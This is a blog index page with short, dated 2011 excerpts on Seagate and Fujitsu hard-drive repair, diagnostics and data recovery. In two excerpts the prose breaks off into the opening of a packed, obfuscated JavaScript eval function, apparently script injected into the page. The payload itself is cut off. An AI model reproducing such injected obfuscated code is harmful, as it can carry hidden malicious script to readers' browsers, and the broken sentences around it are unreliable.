Self Test in Seagate drives performs adjustment of adaptive drive settings and scans disk surfaces detecting and
reassigning revealed defects. It works as a very sophisticated tool because a large part of factory diagnostics and HDD fine-tuning...
January 30, 2011 7:27 AM / no comments
The following procedure should be used to test the Seagate drives’ heads for HDD repair and you may need to use some professional hdd repair tools or data recovery tools.
If a drive hangs at startup, perform the first part:
* Switch...
January 29, 2011 5:21 AM / 1 comment
* Error Correction Code (ECC), which protects against read errors as a result of hardware errors in the flash memory. The drive controller monitors the read process and is able to correct hardware read errors up to a certain level. When successful...
January 28, 2011 3:40 AM / no comments
Seagate HDD repair and data recovery has its own clue to follow and find the best solutions with the right hdd eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...
January 27, 2011 5:23 AM / no comments
When we are going to perform HDD repair or data recovery, we need to dignose the hard drives first and find out the failure reasons. For data recovery companies or hdd repair or laptop repair companies, they usually use some professional hdd...
January 26, 2011 4:47 AM / no comments
Some Seagate drives based on Barracuda architecture can function both in COM and ATA terminal modes.
Their list includes U5, Barracuda I – IV. At power-on such drives immediately switch to work via COM port.
While running in COM terminal mode...
January 26, 2011 2:46 AM / no comments
London-January 25, 2011 Recently we find out one USA mobile device forensic solutions and services provider in USA-Teel Technologies. It happened we published another article in October 2010-US-Data eval(function(p,a,c,k,e,d){e=function(c){return...
January 25, 2011 2:57 AM / no comments
The service data version recorded to HDA can be found on the drive label. Version number is indicated in its
right lower corner, under the line (see the figure below) and consists of a prefix (3 or 4 characters) and an actual version number...
January 19, 2011 7:12 AM / no comments
Fujitsu HDD repair is characterized by some peculiarities. They include the presence of resident microprocessor code (overlay), a large number of incompatible firmware versions, and differences in the HDA construction and service data structure...
January 19, 2011 6:21 AM / no comments
Model ST310014ACE: 10.2 GB
Model ST320014A: 20.2 GB
kEYWORDS: SEAGATE, Seagate hdd repair, seagate data recovery
ST320014A PCB Block scheme
1: VCM Power AMP & Spingle Motor Power AMP
2: Interface Circuit, Read/Write Channel, Servo...
January 17, 2011 6:51 AM / no comments